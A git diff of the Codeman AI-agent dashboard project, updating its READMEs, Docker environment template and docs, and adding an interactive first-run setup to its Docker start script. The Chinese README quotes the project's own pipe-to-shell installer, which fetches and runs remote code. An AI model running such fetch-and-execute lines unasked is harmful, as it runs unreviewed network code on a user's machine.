 - **Multi-CLI** — run **Claude Code**, **OpenCode**, **Codex**, **Antigravity**, **Gemini**, **Pi**, **Grok**, **DeepSeek Harness**, **OMP**, or **GitHub Copilot CLI** per session; env-var prefixes auto-gate (`CLAUDE_CODE_*` vs `OPENCODE_*` vs `CODEX_*` vs `ANTIGRAVITY_*` vs `GEMINI_*`/`GOOGLE_*` vs `PI_*` vs `GROK_*`/`XAI_*` vs `DSH_*`/`DEEPSEEK_*` vs `OMP_*` vs `COPILOT_*`). See [`docs/opencode-integration.md`](docs/opencode-integration.md), [`docs/pi-integration.md`](docs/pi-integration.md), [`docs/grok-integration.md`](docs/grok-integration.md), [`docs/deepseek-integration.md`](docs/deepseek-integration.md) [`docs/omp-integration.md`](docs/omp-integration.md) and [`docs/copilot-integration.md`](docs/copilot-integration.md)
 - **Custom model endpoints** _(new in 1.29.0, HTTP API for now)_ — point a session's CLI at any OpenAI-compatible endpoint instead of its native backend: a local llama.cpp, llama-swap, Ollama or vLLM box, or a cloud gateway such as Azure AI Foundry or OpenRouter. Save an endpoint once (`POST /api/model-endpoints`; its models are discovered from `/v1/models`), apply it to a session (`POST /api/sessions/:id/custom-model`), and the CLI restarts in place on that endpoint. Verified live for Claude, OpenCode, Pi, Grok and OMP; Codex, Gemini and DeepSeek have documented gaps, Antigravity has no mechanism. A toolbar picker is the follow-up. See [`docs/custom-model-endpoints.md`](docs/custom-model-endpoints.md)
 - **Web tabs** — open Grafana, Uptime Kuma, a Vite dev server or any dashboard URL as a tab beside your sessions (Run dropdown → **Web / URL** → **Add URL**). Dashboards are proxied through Codeman's own origin, so an `http://` target works from a phone over HTTPS and through the tunnel, single-page apps route on their own paths, and a frame that reloads recovers itself. A `localhost` link an agent prints opens as a web tab automatically. See [`docs/web-tabs.md`](docs/web-tabs.md)
@@ -479,6 +489,7 @@ PTY Output → 16ms Server Batch → DEC 2026 Wrap → SSE → Client rAF → xt
 - **OSC 52 clipboard**: a program in a session that sets the clipboard with OSC 52 (Claude Code's `/copy`, a tmux yank, vim) puts the text on your browser's clipboard, in the main terminal and in every tile. Clipboard read requests are refused, and replaying a buffer never copies
 - **MCP server sync** _(opt-in)_: copies the user-level MCP servers each installed CLI has (Claude, Codex, Gemini, OpenCode, Antigravity, and GitHub Copilot CLI) into the others' own config files. Additive only, a server you switched off is never copied, **Preview** shows the changes first, and the previous file is kept as `.codeman-bak`. App Settings → Agents & CLIs; admin only in multi-user mode
 - **CJK / IME input** — full composition support for Chinese / Japanese / Korean, with Ctrl- and Alt-modified navigation keys passed through to the CLI
+- **Discord bridge**: opt-in and two-way: Codeman posts to a private Discord server when an agent needs you, in a thread per tab with what is on its screen, and types your reply (and any file you attach) into that tab, so a blocked agent can be answered from your phone off-network. Agents can ask for you with `codeman notify`. Outbound connections only; least-privilege bot setup in [docs/discord-bridge.md](docs/discord-bridge.md). See the [wiki page](docs/wiki/Discord-Bridge.md)
 - **Config backups** — timestamped copies of the files that hold your customization (settings, CLI overrides, custom endpoints, webhook, linked cases, remote and Docker hosts, saved dashboards and, in multi-user mode, accounts), made at startup and whenever one changes. On by default into `~/.codeman/backups/config`; the folder, how many to keep (2–500) and how long (days, 0 = no limit) are settings, with **Back up now** and a verified **Restore** in Settings → System. Retention only ever deletes folders Codeman made and never the newest. See the [wiki page](docs/wiki/Config-Backups.md)
 - **Plan usage in the header** — live Claude subscription usage (the 5-hour and weekly windows) from a statusline exporter Codeman hands to `claude` at spawn and never writes into your settings files, plus Codex limits from its own app-server and the GitHub Copilot monthly premium-request quota (the server asks `api.github.com` for it every 10 minutes with Copilot's own sign-in token: on by default while Copilot CLI is installed and signed in, and turning off Plan Usage Limits stops it); per device, on for desktops and off for phones
 - **Prompt-cache readout**: each Claude session shows whether its prompt cache is warm (`cache:until HH:MM`) or cold, in the footer (when you have no statusline of your own) and in Session Options → Respawn, with the cost of a re-cache and a note after a compaction. Display only; it survives a restart
@@ -514,7 +525,7 @@ Point a case at another machine and run the agent **there**, over SSH, with the
 - **Discover & attach**: list the `codeman-*` sessions already running on a host (started by that machine's own Codeman, or by another operator) and attach to one. Attached sessions you don't own **detach on tab close, never kill**.
 - **Shared sessions**: several clients can attach the same remote session at different window sizes without clamping each other; discovery shows a "shared" badge with the client count.
 - **Injection-safe**: every ssh command line flows through a single shell-escaping builder, and host/path/identity fields are schema-guarded.
-- **Files too**: previews, downloads and text reads in a remote case go over the same ssh connection (one `realpath` + `stat` probe, then a streamed `cat`, `Range` seeking included), so a clicked path opens the file on the machine the agent is on. Nothing is copied to the Codeman host; editing and Office previews answer a clear 400 instead of a misleading 404.
+- **Files too**: previews, downloads and text reads in a remote case go over the same ssh connection (one `realpath` + `stat` probe, then a streamed `cat`, `Range` seeking included), so a clicked path opens the file on the machine the agent is on. Nothing is copied to the Codeman host apart from the diffs the Edit history panel keeps; editing and Office previews answer a clear 400 instead of a misleading 404.
 - **Full scrollback**: loading a remote session's history reads it from the remote tmux in one bounded ssh round trip, so a session keeps its whole scrollback after a reattach or a tab switch, with no rows lost where the history meets the live screen.
 
 Set it up under **New Case → Remote** (host, user, identity file, optional jump host). Full design: [`docs/remote-sessions.md`](docs/remote-sessions.md).
@@ -975,6 +986,7 @@ codeman session list                     #      list sessions
 codeman session logs <id>                #      tail output
 codeman task add "fix the failing test"  # (t)  queue a task
 codeman attach <path>                    #      show an attachment card for a local file
+codeman notify "<message>" [--urgent] [--file <path>]  # post to this tab's Discord thread (see the Discord bridge)
 codeman tui --list                       #      numbered session list (plain text when piped)
 codeman tui 3                            #      attach to session 3 of that list
 ```

README.zh-CN.md

@@ -21,6 +21,7 @@
   <a href="https://github.com/Ark0N/Codeman/stargazers"><img src="https://img.shields.io/github/stars/Ark0N/Codeman?style=flat-square&color=eab308" alt="GitHub stars"></a>
   <a href="https://github.com/Ark0N/Codeman/graphs/contributors"><img src="https://img.shields.io/github/contributors/Ark0N/Codeman?style=flat-square&color=3b82f6" alt="Contributors"></a>
   <a href="https://github.com/Ark0N/Codeman/commits/master"><img src="https://img.shields.io/github/commit-activity/t/Ark0N/Codeman?style=flat-square&color=1e3a5f" alt="Total commits"></a>
+  <a href="https://github.com/NipunaRanasinghe/awesome-ai-agents"><img src="https://img.shields.io/badge/Featured_in-Awesome_AI_Agents-2ea44f?style=flat-square" alt="Featured in Awesome AI Agents"></a>
 </p>
 
 <p align="center">
@@ -70,6 +71,7 @@ curl -fsSL https://getcodeman.com/install | bash
 - **怎么访问，由你决定。** 安装器提供三种到达仪表盘的方式：**Tailscale**（环回绑定，由 `tailscale serve` 代理，得到带真实证书的 `https://<机器名>.<tailnet>.ts.net`，用你的 tailnet 当登录，无需密码）、**局域网内任意设备**（`0.0.0.0`，会提示设置一个强烈推荐的密码），或**仅本机**（`127.0.0.1`，最安全）。绑定网络却跳过密码需要显式确认，并以醒目警告收尾。高亮的默认项反映机器上已有的状态（已在用 Tailscale 时默认 Tailscale，重跑时沿用现有绑定），直接回车绝不会引入新软件。如果你节点上的 `:443` 已被别的应用占用，Codeman 会改用 `https://<机器名>.<tailnet>.ts.net/codeman` 或第二个端口，而不是把它替换掉。手动运行的 `codeman web` 仍默认仅环回。
 - **名字由你来定。** 默认情况下，URL 用的是这台机器在 tailnet 里现有的名字。第二个问题答「是」会把机器改名为 `codeman-<hostname>`（这也会改掉它在 SSH 里的名字，所以默认是「否」）；之后也可以用 `install.sh name` 来改。
 - **重跑即更新。** 再次运行同一条命令即可原地更新已完成的安装：`~/.codeman/app` 中的本地改动会被 stash（绝不丢弃），运行中的服务会自动重启并校验。若首次安装中途失败，重跑会继续完成完整的安装流程。`install.sh status` 会再次打印 URL 和二维码；另外还有 `install.sh update`、`install.sh tailscale` 和 `install.sh uninstall`。
+- **无需管理员权限。** 在没有 `sudo` 的账户、安装器无法确认 `sudo` 权限的账户（不在 `sudo`、`wheel`、`admin` 组内，且 `sudo` 需要密码）或不是管理员、也没有可写入的 Homebrew 的 Mac 账户上，安装器会把 nodejs.org 的 Node.js 和 tmux 项目自己的构建下载到 `~/.codeman/runtime`，两者都会校验 SHA-256；没有可用的 git 时，则以归档包的方式获取源码。`--no-admin` 强制走这条路线，`CODEMAN_NO_ADMIN=0` 则将其关闭。两个限制：Linux 上必须已有 make、C++ 编译器和 python3，tmux 下载需要 macOS 15 或更新版本。详见 [wiki](https://github.com/Ark0N/Codeman/wiki/Installation#without-administrator-rights)。
 - **给急性子的参数。** `curl -fsSL https://getcodeman.com/install | bash -s -- --tailscale --service` 直接在命令行上回答这些问题（还有 `--lan`、`--local`、`--run`、`--no-start`、`--name <n>`、`--port <n>`、`--yes`）。**CI / 无终端环境：** 没有终端时，涉及系统改动的步骤会带着说明中止，而不是静默执行；在自动化场景设置 `CODEMAN_NONINTERACTIVE=1` 即可批准这些步骤。
 
 你至少需要安装一个 AI 编程 CLI —— [Claude Code](https://docs.anthropic.com/en/docs/claude-code)、[OpenCode](https://opencode.ai)、[Codex](https://developers.openai.com/codex/cli)、[Antigravity](https://antigravity.google)、[Gemini CLI](https://github.com/google-gemini/gemini-cli)、[Pi](https://pi.dev)、[Grok Build](https://github.com/xai-org/grok-build)、[DeepSeek Harness](https://github.com/deepseek-ai/deepseek-harness)、[OMP](https://github.com/can1357/oh-my-pi) 或 [GitHub Copilot CLI](https://github.com/github/copilot-cli)（任意组合均可；自 Google 面向消费者停售后，Gemini CLI 仅限企业版，Antigravity 是其继任者）。安装器会自动检测这十个中已安装的任意一个；若一个都没有，会给出一个菜单让你安装其中任意一个（DeepSeek 除外，它的 npm 包只装一个启动器，没有可运行的 profile），也可以选择跳过、稍后自行安装。安装完成后：
@@ -86,7 +88,14 @@ codeman users add alice --admin      # 创建第一个管理员账号
 codeman web --multiuser              # 命名登录 + 按用户隔离的案例空间
 ```
 
-**更喜欢 Docker Compose？** `docker/` 里附带一套本地镜像的 Compose 部署：把 `docker/.env.example` 复制为 `docker/.env`，设置 `CODEMAN_PASSWORD`，然后在 Linux 上运行 `bash docker/Start-Codeman.sh`。Codeman 自己跑在容器里，并通过宿主机的 socket 把 Docker 案例作为并列容器拉起。更新之后请再跑一次这个脚本，而不是直接 `docker compose up`，这样重建的镜像、刷新的卷和新的入口脚本会一起就位。直接的 Compose 命令、存储与网络选项见 [Docker 部署指南](docker/README.md)（英文）。
+**更喜欢 Docker Compose？** 克隆仓库，运行一个脚本即可（Linux，需要 Docker 和 Compose v2 插件）：
+
+```bash
+git clone https://github.com/Ark0N/Codeman.git && cd Codeman
+bash docker/Start-Codeman.sh
+```
+
+首次运行会问三个问题（数据目录、端口、密码；回车即采用默认值，包括自动生成的密码），替你写好 `docker/.env`，构建镜像，并在 Codeman 响应后给出访问地址。镜像已内置 Claude Code、Codex、Gemini CLI 和 OpenCode。Codeman 自己跑在容器里，并通过宿主机的 socket 把 Docker 案例作为并列容器拉起。更新时请使用 **App Settings → Updates**，或者先 `git pull` 再跑一次这个脚本，而不是直接 `docker compose up`，这样重建的镜像、刷新的卷和新的入口脚本会一起就位。Unraid、直接的 Compose 命令、存储与网络选项见 [Docker 部署指南](docker/README.md)（英文）。
 
 详见下文[多用户模式](#多用户模式可选启用)。
 
@@ -465,6 +474,7 @@ PTY 输出 → 16ms 服务端批处理 → DEC 2026 包裹 → SSE → 客户端
 - **底栏里的 Git 状态**：默认关闭（**App Settings → Header & Panels → Bottom bar → Git status**，按设备生效）。底栏右侧的一个小指示器让你一眼看清当前会话所在仓库的状态：`● 3` 表示未提交的文件，`↑ 2` 表示未推送的提交，`⚠` 表示合并冲突，`✓` 表示全部已提交并推送。点击它会打开一个可拖动的窗口，列出已暂存、未暂存、未跟踪和有冲突的文件（按折叠的文件夹分组，关掉该设置则显示为平铺列表）以及未推送的提交；**点击文件即可查看它的 diff**（新文件全部显示为新增，已删除的文件全部显示为删除），**Open file** 可直接跳到查看器。一个包含多个项目的文件夹，会为向下两层内找到的每个仓库各给一个可折叠分区，打开之前全部折叠。只读且离线（Codeman 绝不 fetch，也绝不改动仓库）；Docker 和远程会话不显示
 - **把 GitHub 仓库克隆成 case** —— 在 **Add Case → Clone Repo** 里粘贴一个仓库 URL，Codeman 会把它克隆到 `~/codeman-cases/<name>` 并注册为普通 case，随时可以跑智能体。输入时它会预检 URL（告诉你能否匿名克隆，并为可选的分支/标签字段提供仓库真实的分支与标签），从 URL 里填好 case 名，还让你选 Run 按钮该用哪个 CLI。支持 `https://` 的公开仓库；Codeman 绝不收集或保存凭据
 - **在自定义文件夹里创建 case**：在 **Add Case → Create New** 里勾选 **Create in a custom folder**，选一个父文件夹（可用 Browse 浏览）和一个名字，Codeman 就会在那里而不是 `~/codeman-cases` 里搭建新 case。目标必须是一个新的或空的文件夹；系统目录、你的主目录本身、`~/.ssh` 这类凭据目录，以及 Codeman 自己的数据目录都会被拒绝。多用户模式下仅管理员可用
+- **打开你手动启动的 tmux 会话**：在 Codeman 之外启动的 tmux 会话会出现在主屏幕上：本机的会自动列出，Docker case 容器内和已保存 SSH 主机上的会在你扫描时列出。点一下即可作为标签页打开。关闭标签页只会分离，Codeman 不会重生或重启并非由它启动的智能体。详见 [Opened outside Codeman](docs/wiki/The-Dashboard.md#opened-outside-codeman)。
 - **多 CLI** —— 每个会话可选 **Claude Code**、**OpenCode**、**Codex**、**Antigravity**、**Gemini**、**Pi**、**Grok**、**DeepSeek Harness**、**OMP** 或 **GitHub Copilot CLI**；环境变量前缀自动隔离（`CLAUDE_CODE_*`、`OPENCODE_*`、`CODEX_*`、`ANTIGRAVITY_*`、`GEMINI_*`/`GOOGLE_*`、`PI_*`、`GROK_*`/`XAI_*`、`DSH_*`/`DEEPSEEK_*`、`OMP_*` 与 `COPILOT_*`）。详见 [`docs/opencode-integration.md`](docs/opencode-integration.md)、[`docs/pi-integration.md`](docs/pi-integration.md)、[`docs/grok-integration.md`](docs/grok-integration.md)、[`docs/deepseek-integration.md`](docs/deepseek-integration.md)、[`docs/omp-integration.md`](docs/omp-integration.md) 与 [`docs/copilot-integration.md`](docs/copilot-integration.md)
 - **自定义模型端点**（1.29.0 新增，目前仅 HTTP API）—— 让某个会话的 CLI 指向任意 OpenAI 兼容端点，而不是它自己的官方后端：本地的 llama.cpp、llama-swap、Ollama 或 vLLM 机器，也可以是 Azure AI Foundry、OpenRouter 这类云端网关。端点只需保存一次（`POST /api/model-endpoints`，模型列表从它的 `/v1/models` 自动发现），再应用到会话（`POST /api/sessions/:id/custom-model`），CLI 就会在原地重启并接上该端点。Claude、OpenCode、Pi、Grok 与 OMP 已实测通过；Codex、Gemini 与 DeepSeek 存在已记录的缺口，Antigravity 没有可用机制。工具栏选择器是下一步。详见 [`docs/custom-model-endpoints.md`](docs/custom-model-endpoints.md)
 - **Web 标签页** —— 把 Grafana、Uptime Kuma、一个 Vite 开发服务器或任何仪表盘 URL 作为标签页打开在会话旁边（Run 下拉菜单 → **Web / URL** → **Add URL**）。仪表盘通过 Codeman 自己的源代理，因此 `http://` 目标在手机上走 HTTPS 也能用、走隧道也能用；单页应用能在自己的路径上正常路由，页面自己重载后也能自行恢复。智能体打印出的 `localhost` 链接会自动以 Web 标签页打开。详见 [`docs/web-tabs.md`](docs/web-tabs.md)
@@ -515,7 +525,7 @@ PTY 输出 → 16ms 服务端批处理 → DEC 2026 包裹 → SSE → 客户端
 - **发现与附着**：列出主机上已在运行的 `codeman-*` 会话（由那台机器自己的 Codeman 或其他操作者启动）并附着其一。非你所有的已附着会话在关闭标签时**只分离，绝不杀掉**。
 - **共享会话**：多个客户端可以以不同窗口尺寸同时附着同一个远程会话而互不挤压；发现列表会显示带客户端计数的「shared」徽标。
 - **注入安全**：所有 ssh 命令行都经由单一的 shell 转义构建器生成，主机/路径/身份文件字段均有模式校验。
-- **文件也行**：远程 case 里的预览、下载和文本读取走同一条 ssh 连接（一次 `realpath` + `stat` 探测，然后流式 `cat`，支持 `Range` 拖动进度），所以点一个路径打开的就是智能体所在那台机器上的文件。什么都不会复制到 Codeman 主机；编辑和 Office 预览会明确返回 400，而不是一个误导性的 404。
+- **文件也行**：远程 case 里的预览、下载和文本读取走同一条 ssh 连接（一次 `realpath` + `stat` 探测，然后流式 `cat`，支持 `Range` 拖动进度），所以点一个路径打开的就是智能体所在那台机器上的文件。除了 Edit history 面板保存的差异之外，什么都不会复制到 Codeman 主机；编辑和 Office 预览会明确返回 400，而不是一个误导性的 404。
 - **完整的回滚历史**：加载远程会话的历史时，会通过一次有上限的 ssh 往返直接从远程 tmux 读取，所以重新附着或切换标签之后，会话依然保有完整的回滚缓冲区，历史与实时屏幕衔接处也不会丢行。
 
 在 **New Case → Remote** 中配置（主机、用户、身份文件、可选跳板机）。完整设计：[`docs/remote-sessions.md`](docs/remote-sessions.md)。

config/mcp-registry/server.json

@@ -3,7 +3,7 @@
   "name": "io.github.Ark0N/codeman",
   "title": "Codeman",
   "description": "Start, prompt and read AI coding agent sessions (Claude Code, Codex, Gemini CLI and more) in Codeman",
-  "version": "1.47.0",
+  "version": "1.49.0",
   "websiteUrl": "https://getcodeman.com",
   "repository": {
     "url": "https://github.com/Ark0N/Codeman",
@@ -13,7 +13,7 @@
     {
       "registryType": "npm",
       "identifier": "aicodeman",
-      "version": "1.47.0",
+      "version": "1.49.0",
       "transport": {
         "type": "stdio"
       },

config/test-suites.ts

@@ -19,6 +19,7 @@
  * why these are a runnable suite (`npm run test:browser`) rather than skipped.
  */
 export const BROWSER_TEST_GLOBS = [
+  'test/wrapped-file-paths.browser.test.ts',
   'test/command-palette-agent-arrows.browser.test.ts',
   'test/tmux-capture-sgr.browser.test.ts',
   'test/tab-rail-resize.browser.test.ts',
@@ -49,6 +50,7 @@ export const BROWSER_TEST_GLOBS = [
   'test/case-custom-path.browser.test.ts',
   'test/doctor-settings.browser.test.ts',
   'test/git-status.browser.test.ts',
+  'test/edit-history.browser.test.ts',
   'test/split-pane-orchestration.browser.test.ts',
   'test/split-pane-auto-collapse.browser.test.ts',
   'test/spreadsheet-preview.browser.test.ts',
@@ -57,6 +59,7 @@ export const BROWSER_TEST_GLOBS = [
   'test/markdown-anchor-links.browser.test.ts',
   'test/fullscreen-tab-switch-capture.browser.test.ts',
   'test/terminal-touch-swipe-axis.browser.test.ts',
+  'test/phone-press-feedback.browser.test.ts',
 ];
 
 /**

docker/.env.example

@@ -1,9 +1,14 @@
 # =============================================================================
 # Codeman Docker Compose environment template
-# Copy this file to .env and set the values for the Docker host.
+#
+# Usually there is no need to copy this by hand: on its first run,
+# `bash docker/Start-Codeman.sh` writes docker/.env from this file, asking for
+# the data folder, port and password and filling in this host's time zone.
+# Copy it yourself (to docker/.env) only for a hand-built setup, such as a host
+# where everything runs as root (Unraid) or Compose started without the script.
 # =============================================================================
 
-TZ=Australia/Perth
+TZ=Etc/UTC
 
 # Optional overrides for direct `docker compose` use. The Bash start script
 # detects these values from CODEMAN_APPDATA_PATH automatically. Compose uses
@@ -23,7 +28,8 @@ CODEMAN_RUNTIME_USER=codeman
 
 # Required. Persistent Codeman application data, CLI credentials, and session
 # state are stored here on the host and mounted at the runtime account's home
-# directory in the container.
+# directory in the container. The value below is the Unraid layout; the first
+# run of Start-Codeman.sh suggests ~/codeman-docker instead.
 CODEMAN_APPDATA_PATH=/mnt/user/appdata/codeman
 
 # Optional. Absolute host path of this Codeman checkout, mounted at
@@ -45,6 +51,7 @@ CODEMAN_IMAGE=codeman:local
 
 # Required for any network-accessible Codeman instance. Use a unique, strong
 # password. This file is safe to commit; copy it to .env and set the value.
+# Start-Codeman.sh refuses to start while it is still `changeme`.
 CODEMAN_PASSWORD=changeme
 
 # Required. Username for Codeman HTTP Basic authentication.

docker/README.md

@@ -4,7 +4,36 @@ This folder contains the Compose configuration, server image Dockerfile, and env
 
 ## Start
 
-From the repository root, create the runtime environment file and set the required values, especially `CODEMAN_PASSWORD`.
+From a fresh clone, on Linux:
+
+```sh
+git clone https://github.com/Ark0N/Codeman.git && cd Codeman
+bash docker/Start-Codeman.sh
+```
+
+The first run checks that Docker, the Compose v2 plugin (2.27.2 or newer) and the daemon are usable, naming the fix when one is not. It then asks three questions, and Enter takes the default for each:
+
+| Question    | Default                                                                                                                        |
+| ----------- | ------------------------------------------------------------------------------------------------------------------------------ |
+| Data folder | `~/codeman-docker`. It becomes the container's home: Codeman's state, CLI logins, and the `codeman-cases` folder for projects. |
+| Port        | 3000, or the next free port when something on the machine already uses 3000.                                                   |
+| Password    | A generated 24-character password, shown on your terminal and kept in `docker/.env`.                                           |
+
+It writes `docker/.env` from `.env.example` (readable only by you, with this host's time zone filled in), builds the image, starts the container, waits until Codeman answers, and prints the URL to open, the address for other devices on your network, and the commands for logs and stopping. The first build takes a few minutes.
+
+Your account has to be able to use Docker without sudo. If it cannot, the script says so: run `sudo usermod -aG docker $USER`, then log out and back in. The first run refuses to set up as root, because Codeman's data folder must belong to a normal account.
+
+| Option         | Effect                                                                                                    |
+| -------------- | --------------------------------------------------------------------------------------------------------- |
+| `--yes`, `-y`  | Take every default without asking. This also happens when no terminal is attached.                        |
+| `--setup-only` | Write `docker/.env` and stop, so you can review it (or add the optional settings below) before the build. |
+| `--no-wait`    | Start the container without waiting for Codeman to answer.                                                |
+
+On a first run, `CODEMAN_APPDATA_PATH`, `CODEMAN_PORT` and `CODEMAN_PASSWORD` set in the environment replace the defaults, a different answer typed at the question still wins, and a preset password skips its question. A password the script generates is only ever shown on a terminal: when the output is captured (a log, a pipe), read it from `docker/.env`. Every later run reads `docker/.env` as it is, asks nothing and never edits it, except that Compose prefers a variable exported in your shell over the file. Change a value by editing the file and running the script again. The script refuses to start while `CODEMAN_PASSWORD` is still the example's `changeme`, because the container is reachable from your network and controls Docker on the host.
+
+### Setting it up by hand
+
+Hosts where everything runs as root (Unraid), and Compose run without the script, take a hand-written `.env` instead. From the repository root, copy the template and set the required values, especially `CODEMAN_PASSWORD` and a `CODEMAN_APPDATA_PATH` owned by an unprivileged account:
 
 ```sh
 cp docker/.env.example docker/.env
@@ -198,7 +227,7 @@ volumes:
     target: /home/${CODEMAN_RUNTIME_USER}
 ```
 
-Set `CODEMAN_APPDATA_PATH` in `.env` to a directory that the Docker daemon can access. The example value is `/mnt/user/appdata/codeman`.
+Set `CODEMAN_APPDATA_PATH` in `.env` to a directory that the Docker daemon can access. The example value is `/mnt/user/appdata/codeman` (an Unraid layout); the first run of `Start-Codeman.sh` suggests `~/codeman-docker` instead.
 
 `CODEMAN_CASES_PATH` is the separate host directory for managed case workspaces. It is mounted into Codeman at the same absolute path, allowing the host Docker daemon to bind it into an isolated case container. Set it to a child directory of `CODEMAN_APPDATA_PATH` unless you deliberately store workspaces elsewhere.
 

docker/Start-Codeman.sh

@@ -1,17 +1,479 @@
 #!/usr/bin/env bash
+#
+# Sets up (on the first run) and starts the Docker Compose deployment.
+#
+# A new install is two commands, from a fresh clone:
+#
+#   git clone https://github.com/Ark0N/Codeman.git && cd Codeman
+#   bash docker/Start-Codeman.sh
+#
+# With no docker/.env yet, this asks three questions (data folder, port,
+# password; Enter takes the default each time), writes docker/.env from
+# .env.example, builds the image, starts the container, waits until Codeman
+# answers and prints the URL to open. Every later run (after a `git pull`, or
+# when the in-app updater asks for it) skips the questions and rebuilds and
+# restarts the stack.
+#
+# Usage: bash docker/Start-Codeman.sh [--yes] [--setup-only] [--no-wait]
+#   --yes, -y      First run: take every default without asking. Also what
+#                  happens when no terminal is attached.
+#   --setup-only   Write docker/.env and stop, so it can be reviewed first.
+#   --no-wait      Do not wait for Codeman to answer after starting it.
+#
+# A first run takes its defaults from CODEMAN_APPDATA_PATH, CODEMAN_PORT and
+# CODEMAN_PASSWORD when they are set in the environment.
+#
+# Bash 3.2 clean on purpose: Docker Desktop on macOS runs this with
+# /bin/bash 3.2 (no ${x,,}, mapfile, associative arrays or here-strings).
 
 set -euo pipefail
 
 script_dir=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)
 env_file="$script_dir/.env"
+example_file="$script_dir/.env.example"
 compose_file="$script_dir/docker-compose.yaml"
 
-if [[ ! -f "$env_file" ]]; then
-  printf 'Error: Docker environment file is missing: %s\n' "$env_file" >&2
-  printf 'Create it from %s/.env.example before starting Codeman.\n' "$script_dir" >&2
+assume_yes=0
+setup_only=0
+no_wait=0
+for arg in "$@"; do
+  case "$arg" in
+    --yes | -y) assume_yes=1 ;;
+    --setup-only) setup_only=1 ;;
+    --no-wait) no_wait=1 ;;
+    --help | -h)
+      printf 'Usage: bash %s [--yes] [--setup-only] [--no-wait]\n' "$0"
+      printf '  --yes, -y      First run: take every default without asking\n'
+      printf '  --setup-only   Write docker/.env and stop, so it can be reviewed first\n'
+      printf '  --no-wait      Do not wait for Codeman to answer after starting it\n'
+      exit 0
+      ;;
+    *)
+      printf 'Error: unrecognised argument: %s\n' "$arg" >&2
+      printf 'Usage: bash %s [--yes] [--setup-only] [--no-wait]\n' "$0" >&2
+      exit 1
+      ;;
+  esac
+done
+
+# ── Preflight ────────────────────────────────────────────────────────────────
+# The three things a new machine most often lacks, each named with its fix
+# before anything else runs (a missing daemon used to surface as a bare Compose
+# error from the first `config` call below).
+
+# PURE: is dotted version $1 older than $2? An unparseable $1 is never "older":
+# the `config --environment` failure handler below still catches a real miss.
+version_older_than() {
+  local re='^([0-9]+)\.([0-9]+)\.([0-9]+)'
+  local a b c x y z
+  [[ "$1" =~ $re ]] || return 1
+  a=$((10#${BASH_REMATCH[1]})) b=$((10#${BASH_REMATCH[2]})) c=$((10#${BASH_REMATCH[3]}))
+  [[ "$2" =~ $re ]] || return 1
+  x=$((10#${BASH_REMATCH[1]})) y=$((10#${BASH_REMATCH[2]})) z=$((10#${BASH_REMATCH[3]}))
+  if ((a != x)); then
+    ((a < x))
+    return
+  fi
+  if ((b != y)); then
+    ((b < y))
+    return
+  fi
+  ((c < z))
+}
+
+# `docker compose config --environment`, which everything below reads the
+# settings through, first shipped in Compose v2.27.2 (docker/compose#11891).
+min_compose_version='2.27.2'
+
+if ! command -v docker >/dev/null 2>&1; then
+  printf 'Error: Docker is not installed (no `docker` command on PATH).\n' >&2
+  printf 'Install Docker Engine (Linux: https://docs.docker.com/engine/install/) or\n' >&2
+  printf 'Docker Desktop (macOS, Windows), then rerun this script.\n' >&2
   exit 1
 fi
 
+if ! docker compose version >/dev/null 2>&1; then
+  printf 'Error: the Docker Compose v2 plugin is missing (`docker compose version` failed).\n' >&2
+  if command -v docker-compose >/dev/null 2>&1; then
+    printf 'The standalone `docker-compose` found on PATH is not a substitute for it.\n' >&2
+  fi
+  printf 'Install it from https://docs.docker.com/compose/install/linux/\n' >&2
+  printf '(Debian/Ubuntu with Docker'"'"'s apt repository: sudo apt-get install docker-compose-plugin).\n' >&2
+  exit 1
+fi
+
+compose_version=$(docker compose version --short 2>/dev/null || true)
+compose_version=${compose_version#v}
+if version_older_than "$compose_version" "$min_compose_version"; then
+  printf 'Error: Docker Compose %s is too old; Codeman needs %s or newer.\n' \
+    "$compose_version" "$min_compose_version" >&2
+  printf 'Update the Compose plugin (https://docs.docker.com/compose/install/linux/), then rerun.\n' >&2
+  exit 1
+fi
+
+# `docker version`, not `docker info`: on CLI 24 through 27 `info --format` exits
+# 0 with the daemon unreachable (measured on 27.5.1), so this check never fired.
+if ! docker_error=$(docker version --format '{{.Server.Version}}' 2>&1 >/dev/null); then
+  case "$docker_error" in
+    *[Pp]ermission\ denied*)
+      account=$(id -un 2>/dev/null || printf 'your account')
+      printf 'Error: %s is not allowed to use Docker yet.\n' "$account" >&2
+      printf 'Add it to the docker group, then log out and back in (or run `newgrp docker`):\n' >&2
+      printf '  sudo usermod -aG docker %s\n' "$account" >&2
+      printf 'Prefer that over running this script with sudo: Codeman'"'"'s data folder has to\n' >&2
+      printf 'belong to a normal account, and a first run refuses to set it up as root.\n' >&2
+      ;;
+    *)
+      printf 'Error: the Docker daemon is not reachable. Start it (Linux: sudo systemctl start\n' >&2
+      printf 'docker; macOS and Windows: open Docker Desktop), then rerun this script.\n' >&2
+      printf 'Docker said: %s\n' "$docker_error" >&2
+      ;;
+  esac
+  exit 1
+fi
+
+# ── First-run setup ──────────────────────────────────────────────────────────
+# Runs only while docker/.env does not exist, and never edits an existing one.
+# The file is generated FROM .env.example (its KEY= lines rewritten in place),
+# so every key the example sets is present: the in-app updater refuses an
+# update while the user's .env lacks a key the target release's example sets
+# (diffRequiredEnvKeys, src/web/self-update.ts), and a hand-picked subset would
+# trip that on the very next release.
+
+first_run=0
+generated_password=''
+
+is_interactive() {
+  [[ "$assume_yes" != '1' && "${CODEMAN_NONINTERACTIVE:-0}" != '1' && -t 0 ]]
+}
+
+# Reads one answer into $answer (with -s, without echo). End of input (Ctrl+D)
+# cancels the setup rather than looping on a default that was just refused.
+ask() {
+  if ! IFS= read -r "$@" answer; then
+    printf '\nSetup cancelled; nothing was written.\n' >&2
+    exit 1
+  fi
+}
+
+# True when something on this host already accepts connections on the port.
+# bash's /dev/tcp needs no extra tool on Linux or macOS.
+port_in_use() {
+  (exec 3<>"/dev/tcp/127.0.0.1/$1") 2>/dev/null || (exec 3<>"/dev/tcp/::1/$1") 2>/dev/null
+}
+
+first_free_port() {
+  local port=$1
+  local last=$(($1 + 99))
+  while ((port <= last)); do
+    if ! port_in_use "$port"; then
+      printf '%s' "$port"
+      return 0
+    fi
+    port=$((port + 1))
+  done
+  printf '%s' "$1"
+}
+
+host_timezone() {
+  local tz='' re='^[A-Za-z0-9_+/-]+$'
+  if [[ -r /etc/timezone ]]; then
+    tz=$(head -n1 /etc/timezone 2>/dev/null) || tz=''
+  fi
+  if [[ -z "$tz" ]] && command -v timedatectl >/dev/null 2>&1; then
+    tz=$(timedatectl show -p Timezone --value 2>/dev/null) || tz=''
+  fi
